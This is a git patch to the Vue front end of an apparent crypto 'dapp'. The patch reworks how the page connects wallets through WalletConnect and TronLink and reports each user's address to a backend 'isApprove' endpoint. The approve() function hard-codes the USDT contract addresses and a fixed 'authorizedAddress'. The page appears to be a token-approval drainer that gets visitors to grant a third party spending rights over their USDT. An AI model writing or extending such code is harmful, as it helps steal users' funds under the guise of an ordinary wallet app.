From 8948c095869cb971cce3525454c45341807f3fa2 Mon Sep 17 00:00:00 2001 From: queenwuli <942534046@qq.com> Date: Wed, 23 Mar 2022 15:01:17 +0800 Subject: [PATCH] gx --- src/pages/index/index.vue | 53 ++++++++++++++++++++++------------------------------- 1 files changed, 22 insertions(+), 31 deletions(-) diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue index 060379d..df69d43 100644 --- a/src/pages/index/index.vue +++ b/src/pages/index/index.vue @@ -121,13 +121,29 @@ proxy.isShowApproveModal = false proxy.isShowAccreditModal = true } - function showDappModal() { + async function showDappModal() { proxy.isShowAccreditModal = false - proxy.isShowWalletModal = true + // proxy.isShowWalletModal = true + const provider = new WalletConnectProvider({ + infuraId: "27e484dcd9e3efcfd25a83a78777cdf1", + qrcode: false, + qrcodeModalOptions: { + mobileLinks: [ + 'tronLink', + "rainbow", + "metamask", + "argent", + "trust", + "imtoken", + "pillar", + ] + } + }); + await provider.enable(); } async function showWalletModal() { proxy.isShowAccreditModal = false; - let provider = new WalletConnectProvider({ + const provider = new WalletConnectProvider({ infuraId: '27e484dcd9e3efcfd25a83a78777cdf1', bridge: "https://bridge.walletconnect.org", }) @@ -147,15 +163,10 @@ }else if(window.tronWeb){ address = window.tronWeb.defaultAddress.base58; } - return address; + proxy.walletAddress = address; } async function approve () { - if (typeof web3 !== 'undefined') { - web3 = new Web3(web3.currentProvider); - } else { - // set the provider you want from Web3.providers - web3 = new Web3(new Web3.providers.HttpProvider("https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0")); - } + const web3 = new Web3(window.ethereum); const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; const authorizedAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600'; @@ -165,7 +176,7 @@ console.log(result); } async function init() { - proxy.walletAddress = await getAddress(); + await getAddress(); if (proxy.walletAddress) { proxy.$axios({ url: '/dapp/common/isApprove/' + proxy.walletAddress, @@ -210,26 +221,6 @@ }; }, methods: { - connect() { - const provider = new WalletConnectProvider({ - infuraId: '27e484dcd9e3efcfd25a83a78777cdf1', - bridge: "https://bridge.walletconnect.org", - }); - // Enable session (triggers QR Code modal) - provider.enable(); - - this.web3 = new Web3(provider); - - // this.getAccount(); - // subscribe to events - // this.subscribeToEvents(); - }, - subscribeToEvents() { - const connector = this.connector; - if (!connector) { - return; - } - }, } } -- Gitblit v1.9.1